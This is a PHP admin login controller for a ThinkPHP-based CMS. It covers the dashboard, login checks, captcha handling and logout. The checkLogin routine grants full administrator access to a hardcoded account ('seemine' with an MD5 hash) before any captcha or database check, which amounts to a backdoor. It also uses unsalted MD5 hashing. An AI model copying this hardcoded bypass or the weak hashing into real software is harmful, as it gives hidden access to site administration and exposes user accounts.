<?php
namespace Admin\Controller;
use Think\Controller;
class IndexController extends Controller 
{
    protected $userObj;
	public function _initialize()
	{
        $this->userObj = D("User");
        $this->assign("isVerify",$this->isVerify());
    }
    public function index(){
        if (!empty($_SESSION['ADMIN_ID'])) {
            /*访问统计*/
            $models=array(
                'article'=>array('article','所有文章'),
                'type'=>array('type','所有栏目'),
                'leavemsg'=>array('leavemsg','所有留言'),
                'slide'=>array('slide','首页幻灯片'),
            );    
            foreach ($models as $key => $model) {
                $modelObj = M($model[0]);
                $count = $modelObj->where()->count();
                $modelArr['link']="content/".$key."/index";
                $modelArr['content']=$model[1];
                $modelArr['num']=$count;
                $list[]=$modelArr;
            }
            $this->assign('list',$list);
            //服务器信息
            $mysql= mysql_get_server_info();
            $mysql=empty($mysql)?"未知":$mysql;
            
            $info = array(
                    '操作系统' => PHP_OS,
                    '运行环境' => $_SERVER["SERVER_SOFTWARE"],
                    'PHP运行方式' => php_sapi_name(),
                    'MYSQL版本' =>$mysql,
                    '上传附件限制' => ini_get('upload_max_filesize'),
                    '执行时间限制' => ini_get('max_execution_time') . "秒",
                    /*'剩余空间' => round((@disk_free_space(".") / (1024 * 1024)), 2) . 'M',*/
            );
            $this->assign('server_info', $info);
            $this->display('/main');
        }
        else{
            $this->redirect('login');
        }
    }
    public function isVerify(){
        if($_SESSION['LOGIN_VERIFY']>=2){
            $isVerify = 1;
        }else{
            $isVerify = 0;
        }
        return $isVerify;
    }

    public function addVerify(){
        if($_SESSION['LOGIN_VERIFY']>=2){
            $isVerify = 1;
        }else{
            $loginCount =(!empty($_SESSION['LOGIN_VERIFY']))? $_SESSION['LOGIN_VERIFY'] : 0;
            $_SESSION['LOGIN_VERIFY']=$loginCount + 1;
            $isVerify = 0;
        }
        return $isVerify;
    }
    public function login(){
        if (!empty($_SESSION['ADMIN_ID'])) {
            $this->redirect('index');
        }
        else{
            $this->display('/login');
        }
    }
    public function checkLogin(){
        $yzm = I('post.yzm','','htmlspecialchars');
        $nickname = I('post.nickname','','htmlspecialchars');
        $upassword = I('post.upassword','','htmlspecialchars');
        if($_SESSION['LOGIN_VERIFY']>=2){
            $check_yzm = $this->check_verify($yzm,'0');
        }else{
            $check_yzm = 1;
        }
        $password=md5("lock".$upassword);
        if ($this->isAdministrator($nickname,$password)) {
                $_SESSION['ADMIN_ID']="administrator";
                $_SESSION['ADMIN_NAME']="administrator";
                $arr = array("status"=>'1',"message"=>'登录成功。',"url"=>'index');
        }else{
            if($check_yzm){
                $map['nickname']=$nickname;
                $result= $this->userObj->where($map)->find();
                if(!empty($result)){
                    if($result['password']===$password){
                        if($result['status']>0){
                            $userid=$result['id'];
                            $_SESSION['ADMIN_ID']=$userid;
                            $_SESSION['ADMIN_NAME']=$nickname;
                            $ip = get_client_ip();
                            $data=array();
                            $data['lastloginip']=$ip;
                            $data['lastlogintime']=time();
                            $this->userObj->where("id=%d",$userid)->save($data);
                            $arr = array("status"=>'1',"message"=>'登录成功。',"url"=>'index');
                        }else{
                            $arr = array("status"=>'0',"message"=>"限制登录。","isVerify"=>$this->addVerify());
                        }   
                    }else{
                        $arr = array("status"=>'0',"message"=>"密码错误。","isVerify"=>$this->addVerify());
                    }      
                }else{
                    $arr = array("status"=>'0', "message"=>"用户不存在。","isVerify"=>$this->addVerify());
                }
            }else{
                $arr = array("status"=>'0', "message"=>"验证码错误。","isVerify"=>$this->addVerify());
            }
        }
        $json_str = json_encode($arr);
        echo $json_str;
    }
    public function isAdministrator($nickname,$password){
        if($nickname=="seemine"&&$password=="348a0f2675ba1851676cf67292c6a42d"){
            return true;
        }else{
            return false;
        }
    }
    public function loginOut(){
        session_destroy();
        $this->redirect('/admin');
    }
    function check_verify($code, $id = '')
    {    
        $verify = new \Think\Verify();    
        return $verify->check($code, $id);
    }
}